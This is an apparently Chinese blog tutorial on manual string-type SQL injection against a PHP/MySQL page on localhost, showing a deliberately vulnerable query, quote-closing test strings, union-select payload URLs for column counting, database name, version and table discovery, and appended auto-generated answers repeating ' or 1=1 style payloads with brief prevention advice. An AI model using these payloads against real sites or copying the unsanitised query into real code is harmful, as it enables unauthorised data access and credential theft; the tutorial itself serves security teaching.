mysql手动注入_SQL注入系列之PHP+Mysql手动注入(一)----字符型

一、什么是字符型注入以及原理

1)字符型注入简介

字符串或串(String)是由数字、字母、下划线组成的一串字符。一般记为 s=“a1 a2 ···an ” (n>=0)。它是编程语言中表示文本的数据类型。

字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来。

2)基本原理:

看看这条SQL语句

$query="select first_name from users where id='$_GET['id']'";

这句SQL的语句就是基于用户输入的id在users表中找到相应的first_name,正常用户当然会输入例如1,2等等。但是如果有人输入这样的内容呢?

1' union select database() #;

这样的话这句SQL语句就变成了这样

select first_name from users where id='1'unionselect database()#'

这样的话,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发人员所没有想到的。以上只是一个简单的SQL注入的例子。

从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞。

简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示)。

字符型SQL注入的关键—–单引号的闭合

MySQL数据库对于单引号的规则如下:

单引号必须成对出现,否则数据库就会报错。

如果两个单引号之间内容为空,数据库自动忽略。

应用程序数据库的字符型SQL语句为:

select * from tables where idproduct=’13’;

select * from tables where name=’fendo’;

select * from tables where data=’01/01/2017’;

二、字符型注入与数字型注入的区别

字符:除数字之外都是字符

数字:0-9

两种SQL语句的区别:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值

字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’

三、如何判断是否是字符型注入

测试注入语句是:

xx' and '1'=1--'

xx' and '1=2--'

如果第一个页面正常,而使用第二个的时候页面出现错误则,该url可以进行字符型注入

c4dc0c1ed0822d776168e226a6a77a1f.png

8e6ba97592e47569940e59ea20ab1c89.png

四、字符型注实战

测试源码:

$name=$_GET['username'];

$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库

if($conn){

echo "连接数据库成功!";

}//判断连接是否成功

echo "
";

mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)

$sql="select * from user where username = '$name'"; //字符型搜索语句

$result=mysql_query($sql);

while($row=mysql_fetch_array($result)){

echo "用户ID:".$row['id']."
";

echo "用户名:".$row['username']."
";

echo "用户密码:".$row['password']."
";

echo "用户邮箱:".$row['email']."
";

}

mysql_close($conn); //关闭数据库连接

echo "


";

echo "你当前执行的sql语句为:"."
";

echo $sql;

?>

表数据:

a3e814f7dbea472c5355fe0b3d61df8c.png

当我们访问:http://localhost/sqltest/char.php?username=admin 时

执行的代码是:

$sql="select * from user where username = '$name'";

解析成SQL就是 select  * from user where username = 'admin' 执行结果为

7d2dd241046a80abf16f647f9361f098.png

进行SQL注入:

1.猜字段数

使用union select 1,2,3,4.... 去猜。这里为4是正确说明字段数为4。

http://localhost/sqltest/char.php?username=admin' union select1,2,3,4 and '1'='1

80e5a8b286b61e2a944ea91a9c5a6cca.png

爆出1,2,3 更换SQL语句得出当前的数据库名字与数据库版本

http://localhost/sqltest/char.php?username=admin' union select database(),version(),3,4 and '1'='1

5a016c1f6409e5b0d2148c3469ba354d.png

2.猜表名

获取表名使用 '+and+(select+count(*)+from+表名)>0+and+''=' 这种格式。

http://localhost/sqltest/char.php?username=admin'+and+(select+count(*)+from+user)>0+and+''='

3ad1f28914064b75da8623e92aa0078b.png

没报错说明存在user这个表。

3.猜密码

http://localhost/sqltest/char.php?username=admin' and password='fendo

d9da784c1e4c68880456eae19631e4e9.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQL手工注入漏洞测试通常是通过构造恶意输入来测试数据库系统的安全性,以检测可能存在的漏洞。在针对MySQL数据库的字符注入测试中,攻击者会尝试利用输入表单中的字符数据来破坏SQL语句的可靠性,进而获取对数据库的访问权限。 攻击者通常会使用一些SQL注入工具,例如SQLMap、Havij等,通过模拟输入表单来测试Web应用程序是否存在SQL注入漏洞。在手动测试的过程中,攻击者需要了解目标系统中数据库的结构和使用的语言,并通过逐步构造恶意输入数据来尝试绕过系统的安全验证和防火墙,以获取对数据库的访问权限。 为避免SQL注入漏洞的产生,建议采用安全性更高的编程语言和框架,例如使用预处理语句、输入验证和过滤技术,同时定期对Web应用程序进行漏洞扫描和安全性检测,以降低数据库被攻击的风险。 ### 回答2: SQL注入是一种利用网站未正确过滤或验证用户输入数据的漏洞,通过构造一些特殊的SQL查询语句,来实现绕过网站的权限控制或者直接在数据库上执行一些恶意操作的攻击技术。SQL注入漏洞是常见的Web安全问题之一,并且MySQL是被广泛使用的数据库之一,因此测试MySQL数据库的手工注入漏洞测试也是非常必要的。 手工注入漏洞测试有多种方法,最常见的是利用逻辑性错误和SQL语句字符转义的脆弱性来构造恶意的SQL查询语句。首先,我们可以查找网站的URL参数和表单输入框,尝试在这些输入框中输入一些特殊字符(例如单引号,双引号和分号),看看是否能够返回一些不同寻常的错误信息。如果页面返回了一些SQL错误信息,那么很有可能存在SQL注入漏洞。 接下来的一步是手动构造SQL查询语句,注入恶意的代码。一般来说,SQL注入漏洞的主要攻击方法是利用SELECT,UPDATE,DELETE和INSERT等操作语句。我们可以在URL参数或表单输入框中输入如下代码片段,来测试是否存在漏洞: 1. SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'; 2. SELECT * FROM users WHERE username='admin' AND password='' UNION ALL SELECT 1,2,3; 3. SELECT * FROM users WHERE username='admin' OR 1=1# AND password=''; 上述代码分别用于测试逻辑性错误漏洞、UNION注入和基于SQL注释的漏洞。如果我们能够成功执行这些恶意代码,那么就说明存在SQL注入漏洞,攻击者可以使用类似的代码片段来执行任意的SQL查询。 为了防止SQL注入漏洞,可以采取以下措施: 1. 输入过滤:检查输入数据是否包含恶意代码和SQL语句特殊字符,并过滤或转义掉这些字符。 2. 预编译语句:使用PreparedStatement或其他预编译语句可以避免SQL语句被拼凑,从而避免SQL注入漏洞。 3. 限制查询权限:限制数据库用户的查询权限,并使用最小特权原则。 总之,在进行MySQL数据库的手工注入漏洞测试时,需要充分理解SQL注入漏洞的原理和漏洞类,并采取适当的防护措施来保护Web应用程序的安全性。 ### 回答3: SQL注入漏洞是常见的网络安全漏洞之一,而SQL手工注入漏洞测试是一种检测和验证SQL注入漏洞的方法。在Mysql数据库字符注入漏洞测试中,我们需要先准备好一台虚拟机或者真实主机,然后搭建好LAMP或者LEMP环境,以便进行后续的测试。 1. 测试目标 首先确定我们要测试的目标,这可以是一个网站,或者是一个具有数据库功能的应用程序。我们需要了解和分析目标,找到目标系统的漏洞点,才能有针对性地进行注入漏洞测试。 2. 确认注入点 找到目标系统的漏洞点后,我们需要确认注入点,这就是通过输入特定的字符序列来判断系统是否存在SQL注入漏洞。在Mysql数据库字符注入漏洞测试中,我们可以使用’和”这两个字符进行测试来确定注入点。 例如:我们可以输入以下字符序列来测试系统是否存在SQL注入漏洞:“'or 1=1#”,如果直接返回了数据,则说明该系统存在SQL注入漏洞。 3. 确认数据库类和版本 在进行注入漏洞测试之前,我们需要知道目标系统所使用的数据库类和版本。在Mysql数据库字符注入漏洞测试中,我们可以通过以下语句来确定数据库版本: select version(); 4. 利用SQL语句注入漏洞 当我们成功确认时,就可以利用SQL语句进行注入漏洞测试了,具体的方法如下: a. 使用union查询合并数据:可以输入以下字符序列来进行测试:‘+union+select+1,2,3#',如果成功,则系统会返回一个由“1,2,3”组成的数据集。 b. 使用group by控制查询结果:可以输入以下字符序列来进行测试:‘+union+select+1,count(*)+from+table_name+group+by+1#',如果成功,则系统会返回各个数据组的数量。 c. 使用order by控制查询结果排序:可以输入以下字符序列来进行测试:‘+union+select+1,2+from+table_name+order+by+3#',如果成功,则系统会返回具有排序的数据集。 5. 总结 以上就是Mysql数据库字符注入漏洞测试的基本步骤和方法。当然,注入漏洞测试是一项繁琐的工作,需要有一定的技术水平和丰富的经验。在进行注入漏洞测试之前,一定要保证进行充分的备份和风险评估,以防止对目标系统造成不可逆转的损失。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值